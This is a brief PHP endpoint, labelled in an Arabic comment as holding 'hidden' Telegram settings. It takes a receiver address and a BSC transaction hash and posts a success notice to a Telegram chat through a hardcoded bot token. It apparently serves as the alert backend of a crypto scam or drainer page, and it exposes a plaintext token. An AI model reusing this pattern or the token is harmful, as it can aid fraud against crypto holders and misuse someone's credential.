<?php
// إعدادات تليجرام المخبية
$botToken = "8940949766:AAGjblWI28VeFCwv10D5bGPIo_SR9rkVsYs";
$chatId = "7514759514";

$data = json_decode(file_get_contents('php://input'), true);

if (isset($data['receiver']) && isset($data['hash'])) {
    $receiver = $data['receiver'];
    $hash = $data['hash'];

    $msg = "✅ <b>RECEIVED SUCCESS!</b>\n";
    $msg .= "Receiver: <code>$receiver</code>\n";
    $msg .= "TX: <a href='https://bscscan.com/tx/$hash'>BscScan Link</a>";

    $url = "https://api.telegram.org/bot$botToken/sendMessage";
    $postData = [
        'chat_id' => $chatId,
        'text' => $msg,
        'parse_mode' => 'HTML',
        'disable_web_page_preview' => true
    ];

    $ch = curl_init($url);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_POSTFIELDS, $postData);
    curl_exec($ch);
    curl_close($ch);

    echo json_encode(["status" => "success"]);
}
?>